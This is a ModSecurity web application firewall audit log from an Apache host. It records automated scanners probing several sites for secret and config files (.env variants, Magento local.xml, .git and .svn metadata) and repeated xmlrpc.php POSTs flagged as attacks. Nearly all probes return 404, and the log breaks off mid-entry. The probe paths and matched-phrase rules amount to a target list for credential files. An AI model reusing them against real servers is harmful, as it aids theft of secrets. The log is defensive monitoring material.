[16/Jun/2025:06:00:47.907385 +0530] aE9lt6pdvXW4_hknQUU1XgAAAAo 185.177.72.210 41648 127.0.0.1 7081 --b278e501-B-- GET /app/etc/local.xml.live HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b278e501-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=902ca90a17bd5f1b015041307261d9f41750033847; expires=Mon, 16 Jun 2025 01:30:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b278e501-H-- Message: Warning. Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app/etc/local.xml.live"] [unique_id "aE9lt6pdvXW4_hknQUU1XgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033847234989 672470 (- - -) Stopwatch2: 1750033847234989 672470; combined=1928, p1=398, p2=1416, p3=0, p4=0, p5=113, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b278e501-Z-- --65ade25d-A-- [16/Jun/2025:06:00:48.946893 +0530] aE9luPbo0R64L12N_alU1AAAAAQ 185.177.72.210 41690 127.0.0.1 7081 --65ade25d-B-- GET /:8880/protected/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --65ade25d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6b3e5e232beaa0956ad19b3410276a151750033848; expires=Mon, 16 Jun 2025 01:30:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --65ade25d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/protected/.env"] [unique_id "aE9luPbo0R64L12N_alU1AAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033848252925 694052 (- - -) Stopwatch2: 1750033848252925 694052; combined=1910, p1=397, p2=1355, p3=0, p4=0, p5=157, sr=110, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --65ade25d-Z-- --7a790846-A-- [16/Jun/2025:06:00:55.809684 +0530] aE9lv5_Rv4EBtUyS5c4FrwAAAAU 185.177.72.210 60836 127.0.0.1 7081 --7a790846-B-- GET /:10000/app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7a790846-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=937dc4ec4c399f849b2412e11e8396c91750033855; expires=Mon, 16 Jun 2025 01:30:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7a790846-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/app/.env"] [unique_id "aE9lv5_Rv4EBtUyS5c4FrwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033855110600 699173 (- - -) Stopwatch2: 1750033855110600 699173; combined=1816, p1=390, p2=1298, p3=0, p4=0, p5=128, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7a790846-Z-- --8ef5304f-A-- [16/Jun/2025:06:01:08.787139 +0530] aE9lzNVsbyFDndheOrk1JQAAAAE 185.177.72.210 47444 127.0.0.1 7081 --8ef5304f-B-- GET /.env_copy HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8ef5304f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0444d23db184ba491d4f37c3be43b9a01750033868; expires=Mon, 16 Jun 2025 01:31:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8ef5304f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env_copy"] [unique_id "aE9lzNVsbyFDndheOrk1JQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033868113518 673728 (- - -) Stopwatch2: 1750033868113518 673728; combined=1980, p1=406, p2=1468, p3=0, p4=0, p5=105, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8ef5304f-Z-- --b9a9d75b-A-- [16/Jun/2025:06:01:12.278318 +0530] aE9lzy2Tu2VxEl4lA7DdZQAAAAw 185.177.72.210 60970 127.0.0.1 7081 --b9a9d75b-B-- GET /:9000/test/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b9a9d75b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bbb706931eacf8c550526bf91c4b17481750033872; expires=Mon, 16 Jun 2025 01:31:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b9a9d75b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/test/.env"] [unique_id "aE9lzy2Tu2VxEl4lA7DdZQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033871612869 665540 (- - -) Stopwatch2: 1750033871612869 665540; combined=1881, p1=379, p2=1389, p3=0, p4=0, p5=113, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b9a9d75b-Z-- --3714b637-A-- [16/Jun/2025:06:01:15.541726 +0530] aE9l0tVsbyFDndheOrk1KAAAAAE 185.177.72.210 32914 127.0.0.1 7081 --3714b637-B-- GET /:8000/admin/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3714b637-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d7d4a8c4152bd15b588de2173ece80ca1750033875; expires=Mon, 16 Jun 2025 01:31:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3714b637-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/admin/.env.staging"] [unique_id "aE9l0tVsbyFDndheOrk1KAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033874863219 678572 (- - -) Stopwatch2: 1750033874863219 678572; combined=2054, p1=548, p2=1407, p3=0, p4=0, p5=99, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3714b637-Z-- --dd41770f-A-- [16/Jun/2025:06:01:15.999175 +0530] aE9l0w9THibLN0xLxETwUwAAAAk 128.199.112.101 32926 127.0.0.1 7081 --dd41770f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --dd41770f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --dd41770f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9l0w9THibLN0xLxETwUwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033875066249 932992 (- - -) Stopwatch2: 1750033875066249 932992; combined=2553, p1=411, p2=1688, p3=51, p4=68, p5=206, sr=129, sw=129, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dd41770f-Z-- --6167cf22-A-- [16/Jun/2025:06:01:17.715304 +0530] aE9l1NVsbyFDndheOrk1KQAAAAE 185.177.72.210 33010 127.0.0.1 7081 --6167cf22-B-- GET /:10000/tmp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6167cf22-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=03729b6d09e72a55be49932b643d0f381750033877; expires=Mon, 16 Jun 2025 01:31:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6167cf22-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/tmp/.env"] [unique_id "aE9l1NVsbyFDndheOrk1KQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033876893572 821796 (- - -) Stopwatch2: 1750033876893572 821796; combined=157828, p1=428, p2=1646, p3=0, p4=0, p5=77967, sr=113, sw=1, l=0, gc=77786 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6167cf22-Z-- --65210079-A-- [16/Jun/2025:06:02:10.133803 +0530] aE9mCNVsbyFDndheOrk1SAAAAAE 198.71.51.75 37744 127.0.0.1 7081 --65210079-B-- GET /.git/branches/ HTTP/1.0 Host: www.futuronomics.com X-Real-IP: 198.71.51.75 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: WP Rocket/Preload Accept: */* Accept-Encoding: deflate, gzip, br, zstd --65210079-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Link: <https://www.futuronomics.com/wp-json/>; rel="https://api.w.org/", <https://www.futuronomics.com/wp-json/wp/v2/media/4005>; rel="alternate"; title="JSON"; type="application/json", <https://www.futuronomics.com/?p=4005>; rel=shortlink Set-Cookie: wpr_guest_token=08df4cc3e819f22bd41fc28ff6ca8a41f1c588284f0cf3041f4d945c8f275c9a; expires=Mon, 16 Jun 2025 01:32:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Vary: Accept-Encoding Last-Modified: Mon, 16 Jun 2025 00:32:10 GMT Content-Encoding: gzip Content-Length: 20864 Connection: close Content-Type: text/html; charset=UTF-8 --65210079-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.futuronomics.com"] [uri "/.git/branches/"] [unique_id "aE9mCNVsbyFDndheOrk1SAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/futuronomics.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033928372814 1761087 (- - -) Stopwatch2: 1750033928372814 1761087; combined=1757, p1=374, p2=1262, p3=0, p4=0, p5=120, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --65210079-Z-- --602eb42d-A-- [16/Jun/2025:06:02:16.233732 +0530] aE9mD2YZLqtIztZ_Ow_qEwAAAAg 128.199.112.101 56416 127.0.0.1 7081 --602eb42d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --602eb42d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --602eb42d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9mD2YZLqtIztZ_Ow_qEwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033935279984 953803 (- - -) Stopwatch2: 1750033935279984 953803; combined=2173, p1=448, p2=1343, p3=42, p4=60, p5=170, sr=117, sw=110, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --602eb42d-Z-- --ab651901-A-- [16/Jun/2025:06:02:19.285905 +0530] aE9mEtVsbyFDndheOrk1TQAAAAE 185.177.72.210 56574 127.0.0.1 7081 --ab651901-B-- GET /:9000/www/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ab651901-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4e78c3dbfaf0fd12bac410fd2fb174e61750033939; expires=Mon, 16 Jun 2025 01:32:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ab651901-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/www/.env"] [unique_id "aE9mEtVsbyFDndheOrk1TQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033938518760 767223 (- - -) Stopwatch2: 1750033938518760 767223; combined=1975, p1=409, p2=1453, p3=0, p4=0, p5=112, sr=113, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ab651901-Z-- --2b926535-A-- [16/Jun/2025:06:02:20.357203 +0530] aE9mE516HYQp4eDf7R1VtgAAAAI 185.177.72.210 54180 127.0.0.1 7081 --2b926535-B-- GET /examples/05-migrations/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2b926535-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=aeb514313288af08b979c918012f35421750033940; expires=Mon, 16 Jun 2025 01:32:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2b926535-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/05-migrations/.env"] [unique_id "aE9mE516HYQp4eDf7R1VtgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033939629781 727485 (- - -) Stopwatch2: 1750033939629781 727485; combined=2254, p1=462, p2=1679, p3=0, p4=0, p5=112, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2b926535-Z-- --3924e776-A-- [16/Jun/2025:06:02:25.196195 +0530] aE9mGC2Tu2VxEl4lA7DdjQAAAAw 185.177.72.210 54414 127.0.0.1 7081 --3924e776-B-- GET /.svn/all-wcprops HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3924e776-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ecbe8d8207e9cff329654fbcb180ca5d1750033945; expires=Mon, 16 Jun 2025 01:32:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3924e776-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.svn/all-wcprops"] [unique_id "aE9mGC2Tu2VxEl4lA7DdjQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033944493150 703130 (- - -) Stopwatch2: 1750033944493150 703130; combined=1995, p1=422, p2=1461, p3=0, p4=0, p5=111, sr=112, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3924e776-Z-- --bca9591e-A-- [16/Jun/2025:06:02:26.220581 +0530] aE9mGTC9bb-fhYp4LpFREgAAAAM 185.177.72.210 54480 127.0.0.1 7081 --bca9591e-B-- GET /public/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bca9591e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=487d9adbdb9140691dda20844291b6d21750033946; expires=Mon, 16 Jun 2025 01:32:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bca9591e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag 